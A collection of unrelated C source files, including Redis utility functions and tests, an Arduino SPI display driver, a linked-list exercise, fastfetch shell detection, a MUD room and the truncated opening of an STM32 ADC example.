checks that no / or \ * character exists inside the specified path, that's enough in the * environments where Redis runs. */ int pathIsBaseName(char *path) { return strchr(path,'/') == NULL && strchr(path,'\\') == NULL; } int fileExist(char *filename) { struct stat statbuf; return stat(filename, &statbuf) == 0 && S_ISREG(statbuf.st_mode); } int dirExists(char *dname) { struct stat statbuf; return stat(dname, &statbuf) == 0 && S_ISDIR(statbuf.st_mode); } int dirCreateIfMissing(char *dname) { if (mkdir(dname, 0755) != 0) { if (errno != EEXIST) { return -1; } else if (!dirExists(dname)) { errno = ENOTDIR; return -1; } } return 0; } int dirRemove(char *dname) { DIR *dir; struct stat stat_entry; struct dirent *entry; char full_path[PATH_MAX + 1]; if ((dir = opendir(dname)) == NULL) { return -1; } while ((entry = readdir(dir)) != NULL) { if (!strcmp(entry->d_name, ".") || !strcmp(entry->d_name, "..")) continue; snprintf(full_path, sizeof(full_path), "%s/%s", dname, entry->d_name); int fd = open(full_path, O_RDONLY|O_NONBLOCK); if (fd == -1) { closedir(dir); return -1; } if (fstat(fd, &stat_entry) == -1) { close(fd); closedir(dir); return -1; } close(fd); if (S_ISDIR(stat_entry.st_mode) != 0) { if (dirRemove(full_path) == -1) { return -1; } continue; } if (unlink(full_path) != 0) { closedir(dir); return -1; } } if (rmdir(dname) != 0) { closedir(dir); return -1; } closedir(dir); return 0; } sds makePath(char *path, char *filename) { return sdscatfmt(sdsempty(), "%s/%s", path, filename); } #ifdef REDIS_TEST #include <assert.h> static void test_string2ll(void) { char buf[32]; long long v; /* May not start with +. */ strcpy(buf,"+1"); assert(string2ll(buf,strlen(buf),&v) == 0); /* Leading space. */ strcpy(buf," 1"); assert(string2ll(buf,strlen(buf),&v) == 0); /* Trailing space. */ strcpy(buf,"1 "); assert(string2ll(buf,strlen(buf),&v) == 0); /* May not start with 0. */ strcpy(buf,"01"); assert(string2ll(buf,strlen(buf),&v) == 0); strcpy(buf,"-1"); assert(string2ll(buf,strlen(buf),&v) == 1); assert(v == -1); strcpy(buf,"0"); assert(string2ll(buf,strlen(buf),&v) == 1); assert(v == 0); strcpy(buf,"1"); assert(string2ll(buf,strlen(buf),&v) == 1); assert(v == 1); strcpy(buf,"99"); assert(string2ll(buf,strlen(buf),&v) == 1); assert(v == 99); strcpy(buf,"-99"); assert(string2ll(buf,strlen(buf),&v) == 1); assert(v == -99); strcpy(buf,"-9223372036854775808"); assert(string2ll(buf,strlen(buf),&v) == 1); assert(v == LLONG_MIN); strcpy(buf,"-9223372036854775809"); /* overflow */ assert(string2ll(buf,strlen(buf),&v) == 0); strcpy(buf,"9223372036854775807"); assert(string2ll(buf,strlen(buf),&v) == 1); assert(v == LLONG_MAX); strcpy(buf,"9223372036854775808"); /* overflow */ assert(string2ll(buf,strlen(buf),&v) == 0); } static void test_string2l(void) { char buf[32]; long v; /* May not start with +. */ strcpy(buf,"+1"); assert(string2l(buf,strlen(buf),&v) == 0); /* May not start with 0. */ strcpy(buf,"01"); assert(string2l(buf,strlen(buf),&v) == 0); strcpy(buf,"-1"); assert(string2l(buf,strlen(buf),&v) == 1); assert(v == -1); strcpy(buf,"0"); assert(string2l(buf,strlen(buf),&v) == 1); assert(v == 0); strcpy(buf,"1"); assert(string2l(buf,strlen(buf),&v) == 1); assert(v == 1); strcpy(buf,"99"); assert(string2l(buf,strlen(buf),&v) == 1); assert(v == 99); strcpy(buf,"-99"); assert(string2l(buf,strlen(buf),&v) == 1); assert(v == -99); #if LONG_MAX != LLONG_MAX strcpy(buf,"-2147483648"); assert(string2l(buf,strlen(buf),&v) == 1); assert(v == LONG_MIN); strcpy(buf,"-2147483649"); /* overflow */ assert(string2l(buf,strlen(buf),&v) == 0); strcpy(buf,"2147483647"); assert(string2l(buf,strlen(buf),&v) == 1); assert(v == LONG_MAX); strcpy(buf,"2147483648"); /* overflow */ assert(string2l(buf,strlen(buf),&v) == 0); #endif } static void test_ll2string(void) { char buf[32]; long long v; int sz; v = 0; sz = ll2string(buf, sizeof buf, v); assert(sz == 1); assert(!strcmp(buf, "0")); v = -1; sz = ll2string(buf, sizeof buf, v); assert(sz == 2); assert(!strcmp(buf, "-1")); v = 99; sz = ll2string(buf, sizeof buf, v); assert(sz == 2); assert(!strcmp(buf, "99")); v = -99; sz = ll2string(buf, sizeof buf, v); assert(sz == 3); assert(!strcmp(buf, "-99")); v = -2147483648; sz = ll2string(buf, sizeof buf, v); assert(sz == 11); assert(!strcmp(buf, "-2147483648")); v = LLONG_MIN; sz = ll2string(buf, sizeof buf, v); assert(sz == 20); assert(!strcmp(buf, "-9223372036854775808")); v = LLONG_MAX; sz = ll2string(buf, sizeof buf, v); assert(sz == 19); assert(!strcmp(buf, "9223372036854775807")); } #define UNUSED(x) (void)(x) int utilTest(int argc, char **argv, int flags) { UNUSED(argc); UNUSED(argv); UNUSED(flags); test_string2ll(); test_string2l(); test_ll2string(); return 0; } #endif
878396.c
#include <assert.h> #include <limits.h> #include <math.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> char* readline(); typedef struct SinglyLinkedListNode SinglyLinkedListNode; typedef struct SinglyLinkedList SinglyLinkedList; struct SinglyLinkedListNode { int data; SinglyLinkedListNode* next; }; struct SinglyLinkedList { SinglyLinkedListNode* head; SinglyLinkedListNode* tail; }; SinglyLinkedListNode* create_singly_linked_list_node(int node_data) { SinglyLinkedListNode* node = malloc(sizeof(SinglyLinkedListNode)); node->data = node_data; node->next = NULL; return node; } void insert_node_into_singly_linked_list(SinglyLinkedList** singly_linked_list, int node_data) { SinglyLinkedListNode* node = create_singly_linked_list_node(node_data); if (!(*singly_linked_list)->head) { (*singly_linked_list)->head = node; } else { (*singly_linked_list)->tail->next = node; } (*singly_linked_list)->tail = node; } void print_singly_linked_list(SinglyLinkedListNode* node, char* sep) { while (node) { printf("%d", node->data); node = node->next; if (node) { printf("%s", sep); } } } void free_singly_linked_list(SinglyLinkedListNode* node) { while (node) { SinglyLinkedListNode* temp = node; node = node->next; free(temp); } } // Complete the reversePrint function below. /* * For your reference: * * SinglyLinkedListNode { * int data; * SinglyLinkedListNode* next; * }; * */ void reversePrint(SinglyLinkedListNode* head) { if(head==NULL) return; else{ reversePrint(head->next); printf("%d\n",head->data); } } int main() { char* tests_endptr; char* tests_str = readline(); int tests = strtol(tests_str, &tests_endptr, 10); if (tests_endptr == tests_str || *tests_endptr != '\0') { exit(EXIT_FAILURE); } for (int tests_itr = 0; tests_itr < tests; tests_itr++) { SinglyLinkedList* llist = malloc(sizeof(SinglyLinkedList)); llist->head = NULL; llist->tail = NULL; char* llist_count_endptr; char* llist_count_str = readline(); int llist_count = strtol(llist_count_str, &llist_count_endptr, 10); if (llist_count_endptr == llist_count_str || *llist_count_endptr != '\0') { exit(EXIT_FAILURE); } for (int i = 0; i < llist_count; i++) { char* llist_item_endptr; char* llist_item_str = readline(); int llist_item = strtol(llist_item_str, &llist_item_endptr, 10); if (llist_item_endptr == llist_item_str || *llist_item_endptr != '\0') { exit(EXIT_FAILURE); } insert_node_into_singly_linked_list(&llist, llist_item); } reversePrint(llist->head); } return 0; } char* readline() { size_t alloc_length = 1024; size_t data_length = 0; char* data = malloc(alloc_length); while (true) { char* cursor = data + data_length; char* line = fgets(cursor, alloc_length - data_length, stdin); if (!line) { break; } data_length += strlen(cursor); if (data_length < alloc_length - 1 || data[data_length - 1] == '\n') { break; } size_t new_length = alloc_length << 1; data = realloc(data, new_length); if (!data) { break; } alloc_length = new_length; } if (data[data_length - 1] == '\n') { data[data_length - 1] = '\0'; } data = realloc(data, data_length); return data; }
899558.c
/* u8g_com_arduino_hw_spi.c Universal 8bit Graphics Library Copyright (c) 2011, [email protected] All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. SPI Clock Cycle Type SSD1351 50ns 20 MHz SSD1322 300ns 3.3 MHz SSD1327 300ns SSD1306 300ns ST7565 400ns 2.5 MHz ST7920 400ns Arduino DUE PA25 MISO PA26 MOSI 75 PA27 SCLK 76 typedef struct { WoReg SPI_CR; (Spi Offset: 0x00) Control Register RwReg SPI_MR; (Spi Offset: 0x04) Mode Register RoReg SPI_RDR; (Spi Offset: 0x08) Receive Data Register WoReg SPI_TDR; (Spi Offset: 0x0C) Transmit Data Register RoReg SPI_SR; (Spi Offset: 0x10) Status Register WoReg SPI_IER; (Spi Offset: 0x14) Interrupt Enable Register WoReg SPI_IDR; (Spi Offset: 0x18) Interrupt Disable Register RoReg SPI_IMR; (Spi Offset: 0x1C) Interrupt Mask Register RoReg Reserved1[4]; RwReg SPI_CSR[4]; (Spi Offset: 0x30) Chip Select Register RoReg Reserved2[41]; RwReg SPI_WPMR; (Spi Offset: 0xE4) Write Protection Control Register RoReg SPI_WPSR; (Spi Offset: 0xE8) Write Protection Status Register } Spi; Power Management Controller (PMC) arduino-1.5.2/hardware/arduino/sam/system/CMSIS/Device/ATMEL/sam3xa/include/instance/instance_pmc.h - enable PIO REG_PMC_PCER0 = 1UL << ID_PIOA - enable SPI REG_PMC_PCER0 = 1UL << ID_SPI0 - enable PIOA and SPI0 REG_PMC_PCER0 = (1UL << ID_PIOA) | (1UL << ID_SPI0); Parallel Input/Output Controller (PIO) arduino-1.5.2/hardware/arduino/sam/system/CMSIS/Device/ATMEL/sam3xa/include/instance/instance_pioa.h - enable special function of the pin: disable PIO on A26 and A27: REG_PIOA_PDR = 0x0c000000 PIOA->PIO_PDR = 0x0c000000 SPI SPI0->SPI_CR = SPI_CR_SPIDIS SPI0->SPI_CR = SPI_CR_SWRST ; SPI0->SPI_CR = SPI_CR_SWRST ; SPI0->SPI_CR = SPI_CR_SPIEN Bit 0: Master Mode = 1 (active) Bit 1: Peripheral Select = 0 (fixed) Bit 2: Chip Select Decode Mode = 1 (4 to 16) Bit 4: Mode Fault Detection = 1 (disabled) Bit 5: Wait Data Read = 0 (disabled) Bit 7: Loop Back Mode = 0 (disabled) Bit 16-19: Peripheral Chip Select = 0 (chip select 0) SPI0->SPI_MR = SPI_MR_MSTR | SPI_MR_PCSDEC | SPI_MR_MODFDIS Bit 0: Clock Polarity = 0 Bit 1: Clock Phase = 0 Bit 4-7: Bits = 0 (8 Bit) Bit 8-15: SCBR = 1 SPI0->SPI_CSR[0] = SPI_CSR_SCBR(x) Serial Baud Rate SCBR / 84000000 > 50 / 1000000000 SCBR / 84 > 5 / 100 SCBR > 50 *84 / 1000 --> SCBR=5 SCBR > 300*84 / 1000 --> SCBR=26 SCBR > 400*84 / 1000 --> SCBR=34 Arduino Due test code: REG_PMC_PCER0 = (1UL << ID_PIOA) | (1UL << ID_SPI0); REG_PIOA_PDR = 0x0c000000; SPI0->SPI_CR = SPI_CR_SPIDIS; SPI0->SPI_CR = SPI_CR_SWRST; SPI0->SPI_CR = SPI_CR_SWRST; SPI0->SPI_CR = SPI_CR_SPIEN; SPI0->SPI_MR = SPI_MR_MSTR | SPI_MR_PCSDEC | SPI_MR_MODFDIS; SPI0->SPI_CSR[0] = SPI_CSR_SCBR(30); for(;;) { while( (SPI0->SPI_SR & SPI_SR_TDRE) == 0 ) ; SPI0->SPI_TDR = 0x050; } */ #include "u8g.h" #ifdef ARDUINO #ifdef __AVR__ #define U8G_ARDUINO_ATMEGA_HW_SPI /* remove the definition for attiny */ #if __AVR_ARCH__ == 2 #undef U8G_ARDUINO_ATMEGA_HW_SPI #endif #if __AVR_ARCH__ == 25 #undef U8G_ARDUINO_ATMEGA_HW_SPI #endif #endif #ifdef U8G_ARDUINO_ATMEGA_HW_SPI #include <avr/interrupt.h> #include <avr/io.h> #if ARDUINO < 100 #include <WProgram.h> /* fixed pins */ #if defined(__AVR_ATmega644P__) || defined(__AVR_ATmega1284P__) // Sanguino.cc board #define PIN_SCK 7 #define PIN_MISO 6 #define PIN_MOSI 5 #define PIN_CS 4 #else // Arduino Board #define PIN_SCK 13 #define PIN_MISO 12 #define PIN_MOSI 11 #define PIN_CS 10 #endif // (__AVR_ATmega644P__) || defined(__AVR_ATmega1284P__) #else #include <Arduino.h> /* use Arduino pin definitions */ #define PIN_SCK SCK #define PIN_MISO MISO #define PIN_MOSI MOSI #define PIN_CS SS #endif //static uint8_t u8g_spi_out(uint8_t data) U8G_NOINLINE; static uint8_t u8g_spi_out(uint8_t data) { /* unsigned char x = 100; */ /* send data */ SPDR = data; /* wait for transmission */ while (!(SPSR & (1<<SPIF))) ; /* clear the SPIF flag by reading SPDR */ return SPDR; } uint8_t u8g_com_arduino_hw_spi_fn(u8g_t *u8g, uint8_t msg, uint8_t arg_val, void *arg_ptr) { switch(msg) { case U8G_COM_MSG_STOP: break; case U8G_COM_MSG_INIT: u8g_com_arduino_assign_pin_output_high(u8g); pinMode(PIN_SCK, OUTPUT); digitalWrite(PIN_SCK, LOW); pinMode(PIN_MOSI, OUTPUT); digitalWrite(PIN_MOSI, LOW); /* pinMode(PIN_MISO, INPUT); */ pinMode(PIN_CS, OUTPUT); /* system chip select for the atmega board */ digitalWrite(PIN_CS, HIGH); /* SPR1 SPR0 0 0 fclk/4 0 1 fclk/16 1 0 fclk/64 1 1 fclk/128 */ SPCR = 0; SPCR = (1<<SPE) | (1<<MSTR)|(0<<SPR1)|(0<<SPR0)|(0<<CPOL)|(0<<CPHA); #ifdef U8G_HW_SPI_2X SPSR = (1 << SPI2X); /* double speed, issue 89 */ #else if ( arg_val <= U8G_SPI_CLK_CYCLE_50NS ) { SPSR = (1 << SPI2X); /* double speed, issue 89 */ } #endif break; case U8G_COM_MSG_ADDRESS: /* define cmd (arg_val = 0) or data mode (arg_val = 1) */ u8g_com_arduino_digital_write(u8g, U8G_PI_A0, arg_val); break; case U8G_COM_MSG_CHIP_SELECT: if ( arg_val == 0 ) { /* disable */ u8g_com_arduino_digital_write(u8g, U8G_PI_CS, HIGH); } else { /* enable */ u8g_com_arduino_digital_write(u8g, U8G_PI_SCK, LOW); u8g_com_arduino_digital_write(u8g, U8G_PI_CS, LOW); } break; case U8G_COM_MSG_RESET: if ( u8g->pin_list[U8G_PI_RESET] != U8G_PIN_NONE ) u8g_com_arduino_digital_write(u8g, U8G_PI_RESET, arg_val); break; case U8G_COM_MSG_WRITE_BYTE: u8g_spi_out(arg_val); break; case U8G_COM_MSG_WRITE_SEQ: { register uint8_t *ptr = arg_ptr; while( arg_val > 0 ) { u8g_spi_out(*ptr++); arg_val--; } } break; case U8G_COM_MSG_WRITE_SEQ_P: { register uint8_t *ptr = arg_ptr; while( arg_val > 0 ) { u8g_spi_out(u8g_pgm_read(ptr)); ptr++; arg_val--; } } break; } return 1; } /* #elif defined(__18CXX) || defined(__PIC32MX) */ #elif defined(__SAM3X8E__) // Arduino Due, maybe we should better check for __SAM3X8E__ #include <Arduino.h> /* use Arduino pin definitions */ #define PIN_SCK SCK #define PIN_MISO MISO #define PIN_MOSI MOSI #define PIN_CS SS static uint8_t u8g_spi_out(uint8_t data) { /* wait until tx register is empty */ while( (SPI0->SPI_SR & SPI_SR_TDRE) == 0 ) ; /* send data */ SPI0->SPI_TDR = (uint32_t)data; return data; } uint8_t u8g_com_arduino_hw_spi_fn(u8g_t *u8g, uint8_t msg, uint8_t arg_val, void *arg_ptr) { switch(msg) { case U8G_COM_MSG_STOP: break; case U8G_COM_MSG_INIT: u8g_com_arduino_assign_pin_output_high(u8g); u8g_com_arduino_digital_write(u8g, U8G_PI_CS, HIGH); /* Arduino Due specific code */ /* enable PIOA and SPI0 */ REG_PMC_PCER0 = (1UL << ID_PIOA) | (1UL << ID_SPI0); /* disable PIO on A26 and A27 */ REG_PIOA_PDR = 0x0c000000; /* reset SPI0 (from sam lib) */ SPI0->SPI_CR = SPI_CR_SPIDIS; SPI0->SPI_CR = SPI_CR_SWRST; SPI0->SPI_CR = SPI_CR_SWRST; SPI0->SPI_CR = SPI_CR_SPIEN; u8g_MicroDelay(); /* master mode, no fault detection, chip select 0 */ SPI0->SPI_MR = SPI_MR_MSTR | SPI_MR_PCSDEC | SPI_MR_MODFDIS; /* Polarity, Phase, 8 Bit data transfer, baud rate */ /* x * 1000 / 84 --> clock cycle in ns 5 * 1000 / 84 = 58 ns SCBR > 50 *84 / 1000 --> SCBR=5 SCBR > 300*84 / 1000 --> SCBR=26 SCBR > 400*84 / 1000 --> SCBR=34 */ if ( arg_val <= U8G_SPI_CLK_CYCLE_50NS ) { SPI0->SPI_CSR[0] = SPI_CSR_SCBR(5) | 1; } else if ( arg_val <= U8G_SPI_CLK_CYCLE_300NS ) { SPI0->SPI_CSR[0] = SPI_CSR_SCBR(26) | 1; } else if ( arg_val <= U8G_SPI_CLK_CYCLE_400NS ) { SPI0->SPI_CSR[0] = SPI_CSR_SCBR(34) | 1; } else { SPI0->SPI_CSR[0] = SPI_CSR_SCBR(84) | 1; } u8g_MicroDelay(); break; case U8G_COM_MSG_ADDRESS: /* define cmd (arg_val = 0) or data mode (arg_val = 1) */ u8g_com_arduino_digital_write(u8g, U8G_PI_A0, arg_val); u8g_MicroDelay(); break; case U8G_COM_MSG_CHIP_SELECT: if ( arg_val == 0 ) { /* disable */ u8g_MicroDelay(); /* this delay is required to avoid that the display is switched off too early --> DOGS102 with DUE */ u8g_com_arduino_digital_write(u8g, U8G_PI_CS, HIGH); u8g_MicroDelay(); } else { /* enable */ //u8g_com_arduino_digital_write(u8g, U8G_PI_SCK, LOW); u8g_com_arduino_digital_write(u8g, U8G_PI_CS, LOW); u8g_MicroDelay(); } break; case U8G_COM_MSG_RESET: if ( u8g->pin_list[U8G_PI_RESET] != U8G_PIN_NONE ) u8g_com_arduino_digital_write(u8g, U8G_PI_RESET, arg_val); break; case U8G_COM_MSG_WRITE_BYTE: u8g_spi_out(arg_val); u8g_MicroDelay(); break; case U8G_COM_MSG_WRITE_SEQ: { register uint8_t *ptr = arg_ptr; while( arg_val > 0 ) { u8g_spi_out(*ptr++); arg_val--; } } break; case U8G_COM_MSG_WRITE_SEQ_P: { register uint8_t *ptr = arg_ptr; while( arg_val > 0 ) { u8g_spi_out(u8g_pgm_read(ptr)); ptr++; arg_val--; } } break; } return 1; } #else /* U8G_ARDUINO_ATMEGA_HW_SPI */ #endif /* U8G_ARDUINO_ATMEGA_HW_SPI */ #else /* ARDUINO */ uint8_t u8g_com_arduino_hw_spi_fn(u8g_t *u8g, uint8_t msg, uint8_t arg_val, void *arg_ptr) { return 1; } #endif /* ARDUINO */
105908.c
/* ******************************** */ /* Warning! Don't modify this file! */ /* ******************************** */ #include "MemoryChecker.h" #include "TinyObj.h" #include <stdio.h> #include <stdlib.h> #include "BaseObj.h" void MemoryChecker_maxMethod(PikaObj *self, Args *args){ MemoryChecker_max(self); } void MemoryChecker_nowMethod(PikaObj *self, Args *args){ MemoryChecker_now(self); } PikaObj *New_MemoryChecker(Args *args){ PikaObj *self = New_TinyObj(args); class_defineMethod(self, "max()", MemoryChecker_maxMethod); class_defineMethod(self, "now()", MemoryChecker_nowMethod); return self; }
682107.c
#include <stdio.h> #include <ffi.h> #include <Windows.h> int main() { ffi_cif cif; HINSTANCE dllHandle = LoadLibrary("user32.dll"); int n = 4; ffi_type *ffi_argTypes[4]; void *values[4]; UINT64 a=0; UINT32 b=0; TCHAR* s1= "hello"; TCHAR* s2= "hello2"; values[0] = &a; values[1] = &s1; values[2] = &s2; values[3] = &b; ffi_argTypes[0] = &ffi_type_uint64; ffi_argTypes[1] = &ffi_type_pointer; ffi_argTypes[2] = &ffi_type_pointer; ffi_argTypes[3] = &ffi_type_uint; ffi_type *c_retType = &ffi_type_sint; ffi_type rc; // return value if (ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &ffi_type_sint, ffi_argTypes) == FFI_OK) { ffi_call(&cif, FFI_FN(GetProcAddress(dllHandle,"MessageBoxA")), &rc, values); } return 0; }
724930.c
#include "fastfetch.h" #include <ctype.h> #include <string.h> #include <unistd.h> #include <pthread.h> static void setExeName(FFstrbuf* exe, const char** exeName) { uint32_t lastSlashIndex = ffStrbufLastIndexC(exe, '/'); if(lastSlashIndex < exe->length) *exeName = exe->chars + lastSlashIndex + 1; } static void getProcessInformation(const char* pid, FFstrbuf* processName, FFstrbuf* exe, const char** exeName) { FFstrbuf cmdlineFilePath; ffStrbufInit(&cmdlineFilePath); ffStrbufAppendS(&cmdlineFilePath, "/proc/"); ffStrbufAppendS(&cmdlineFilePath, pid); ffStrbufAppendS(&cmdlineFilePath, "/cmdline"); ffGetFileContent(cmdlineFilePath.chars, exe); ffStrbufSubstrBeforeFirstC(exe, '\0'); //Trim the arguments ffStrbufTrimLeft(exe, '-'); //Happens in TTY if(exe->length == 0) ffStrbufSet(exe, processName); setExeName(exe, exeName); ffStrbufDestroy(&cmdlineFilePath); } static void getTerminalShell(FFTerminalShellResult* result, const char* pid) { FFstrbuf statFilePath; ffStrbufInit(&statFilePath); ffStrbufAppendS(&statFilePath, "/proc/"); ffStrbufAppendS(&statFilePath, pid); ffStrbufAppendS(&statFilePath, "/stat"); FILE* stat = fopen(statFilePath.chars, "r"); ffStrbufDestroy(&statFilePath); if(stat == NULL) return; char name[256]; name[0] = '\0'; char ppid[256]; ppid[0] = '\0'; if( fscanf(stat, "%*s (%255[^)]) %*c %255s", name, ppid) != 2 || //stat (comm) state ppid !ffStrSet(name) || !ffStrSet(ppid) || *ppid == '-' || strcasecmp(ppid, "0") == 0 ) { fclose(stat); return; } fclose(stat); //Common programs that are between terminal and own process, but are not the shell if( strcasecmp(name, "sudo") == 0 || strcasecmp(name, "su") == 0 || strcasecmp(name, "doas") == 0 || strcasecmp(name, "strace") == 0 || strcasecmp(name, "sshd") == 0 || strcasecmp(name, "gdb") == 0 ) { getTerminalShell(result, ppid); return; } //Known shells if( strcasecmp(name, "bash") == 0 || strcasecmp(name, "sh") == 0 || strcasecmp(name, "zsh") == 0 || strcasecmp(name, "ksh") == 0 || strcasecmp(name, "fish") == 0 || strcasecmp(name, "dash") == 0 || strcasecmp(name, "git-shell") == 0 ) { ffStrbufAppendS(&result->shellProcessName, name); getProcessInformation(pid, &result->shellProcessName, &result->shellExe, &result->shellExeName); getTerminalShell(result, ppid); return; } ffStrbufAppendS(&result->terminalProcessName, name); getProcessInformation(pid, &result->terminalProcessName, &result->terminalExe, &result->terminalExeName); } static void getTerminalFromEnv(FFTerminalShellResult* result) { if( result->terminalProcessName.length > 0 && !ffStrbufStartsWithIgnCaseS(&result->terminalProcessName, "login") && ffStrbufIgnCaseCompS(&result->terminalProcessName, "(login)") != 0 && ffStrbufIgnCaseCompS(&result->terminalProcessName, "systemd") != 0 && ffStrbufIgnCaseCompS(&result->terminalProcessName, "init") != 0 && ffStrbufIgnCaseCompS(&result->terminalProcessName, "(init)") != 0 && ffStrbufIgnCaseCompS(&result->terminalProcessName, "0") != 0 ) return; char* term = NULL; //SSH if(getenv("SSH_CONNECTION") != NULL) term = getenv("SSH_TTY"); //Windows Terminal if(!ffStrSet(term) && getenv("WT_SESSION") != NULL) term = "Windows Terminal"; //Normal Terminal if(!ffStrSet(term)) term = getenv("TERM"); //TTY if(!ffStrSet(term) || strcasecmp(term, "linux") == 0) term = ttyname(STDIN_FILENO); ffStrbufSetS(&result->terminalProcessName, term); ffStrbufSetS(&result->terminalExe, term); setExeName(&result->terminalExe, &result->terminalExeName); } static void getUserShellFromEnv(FFTerminalShellResult* result) { ffStrbufAppendS(&result->userShellExe, getenv("SHELL")); setExeName(&result->userShellExe, &result->userShellExeName); //If shell detection via processes failed if(result->shellProcessName.length == 0 && result->userShellExe.length > 0) { ffStrbufAppendS(&result->shellProcessName, result->userShellExeName); ffStrbufSet(&result->shellExe, &result->userShellExe); setExeName(&result->shellExe, &result->shellExeName); } } static void getShellVersionBash(FFstrbuf* exe, FFstrbuf* version) { ffProcessAppendStdOut(version, (char* const[]) { "env", "-i", exe->chars, "--norc", "--noprofile", "-c", "printf \"%s\" \"$BASH_VERSION\"", NULL }); ffStrbufSubstrBeforeFirstC(version, '('); } static void getShellVersionZsh(FFstrbuf* exe, FFstrbuf* version) { ffProcessAppendStdOut(version, (char* const[]) { exe->chars, "--version", NULL }); ffStrbufTrimRight(version, '\n'); ffStrbufSubstrBeforeLastC(version, ' '); ffStrbufSubstrAfterFirstC(version, ' '); } static void getShellVersionFish(FFstrbuf* exe, FFstrbuf* version) { ffProcessAppendStdOut(version, (char* const[]) { exe->chars, "--version", NULL }); ffStrbufTrimRight(version, '\n'); ffStrbufSubstrAfterLastC(version, ' '); } static void getShellVersionGeneric(FFstrbuf* exe, const char* exeName, FFstrbuf* version) { FFstrbuf command; ffStrbufInit(&command); ffStrbufAppendS(&command, "printf \"%s\" \"$"); ffStrbufAppendTransformS(&command, exeName, toupper); ffStrbufAppendS(&command, "_VERSION\""); ffProcessAppendStdOut(version, (char* const[]) { "env", "-i", exe->chars, "-c", command.chars, NULL }); ffStrbufSubstrBeforeFirstC(version, '('); ffStrbufRemoveStrings(version, 2, "-release", "release"); ffStrbufDestroy(&command); } static void getShellVersion(FFstrbuf* exe, const char* exeName, FFstrbuf* version) { if(strcasecmp(exeName, "bash") == 0) getShellVersionBash(exe, version); else if(strcasecmp(exeName, "zsh") == 0) getShellVersionZsh(exe, version); else if(strcasecmp(exeName, "fish") == 0) getShellVersionFish(exe, version); else getShellVersionGeneric(exe, exeName, version); } const FFTerminalShellResult* ffDetectTerminalShell(FFinstance* instance) { FF_UNUSED(instance); static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; static FFTerminalShellResult result; static bool init = false; pthread_mutex_lock(&mutex); if(init) { pthread_mutex_unlock(&mutex); return &result; } init = true; ffStrbufInit(&result.shellProcessName); ffStrbufInitA(&result.shellExe, 128); result.shellExeName = result.shellExe.chars; ffStrbufInit(&result.shellVersion); ffStrbufInit(&result.terminalProcessName); ffStrbufInitA(&result.terminalExe, 128); result.terminalExeName = result.terminalExe.chars; ffStrbufInit(&result.userShellExe); result.userShellExeName = result.userShellExe.chars; ffStrbufInit(&result.userShellVersion); char ppid[32]; snprintf(ppid, sizeof(ppid) - 1, "%i", getppid()); getTerminalShell(&result, ppid); getTerminalFromEnv(&result); getUserShellFromEnv(&result); getShellVersion(&result.shellExe, result.shellExeName, &result.shellVersion); if(strcasecmp(result.shellExeName, result.userShellExeName) != 0) getShellVersion(&result.userShellExe, result.userShellExeName, &result.userShellVersion); else ffStrbufSet(&result.userShellVersion, &result.shellVersion); pthread_mutex_unlock(&mutex); return &result; }
332054.c
inherit "room/room"; object mob; string *mobsters; reset(arg) { mobsters = ({ "/wizards/siki/forest/monsters/bear","/wizards/siki/forest/monsters/deer","/wizards/siki/forest/monsters/rabbit","/wizards/siki/forest/monsters/wolf",}); if(!mob) { mob = clone_object(mobsters[random(4)]); move_object(mob, this_object()); } if(arg) return; add_exit("north","room6"); add_exit("south","room12"); add_exit("east","room18"); short_desc = "Deformed forest"; long_desc = "The air in here is almost deadly and because of the purple mist it is almost\n"+ "impossible to see here clearly. This forest is full of twisted black trees\n"+ "and shadowy creatures are moving behind those. Near the surface of mist are\n"+ "the tops of the deformed bushes.\n"; }
315712.c
/* { dg-do compile { xfail m6811-*-* m6812-*-* } } */ f(){asm("%0"::"r"(1.5F));}g(){asm("%0"::"r"(1.5));}
155540.c
/** ****************************************************************************** * @file ADC/ADC_VBATMeasurement/main.c * @author MCD Application Team * @version V1.8.0 * @date 04-November-2016 * @brief Main program body ****************************************************************************** * @attention * * <h2><center>&copy; COPYRIGHT 2016 STMicroelectronics</center></h2> * * Licensed under MCD-ST Liberty SW License Agreement V2, (the "License"); * You may not use this file except in compliance with the License. * You may obtain a copy of the License at: * * http://www.st.com/software_license_agreement_liberty_v2 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ****************************************************************************** */ /* Includes ------------------------------------------------------------------*/ #include "main.h" /** @addtogroup STM32F4xx_StdPeriph_Examples * @{ */ /** @addtogroup ADC_VBATMeasurement * @{ */ /* Private typedef -----------------------------------------------------------*/ /* Private define ------------------------------------------------------------*/ #if defined (USE_STM324xG_EVAL) #define MESSAGE1 " STM32F4xx ADC1 VBAT Measurement Example" #define MESSAGE2 "**VBAT Measurement**" #define MESSAGE3 " Eval Board Instant " #define MESSAGE4 " Battery Voltage " #define MESSAGE5 " %d,%d V " #define LINENUM 0x13 #define FONTSIZE Font8x12 #define VBATDIV 2 #elif defined (USE_STM324x7I_EVAL) #define MESSAGE1 " STM32F4xx ADC1 VBAT 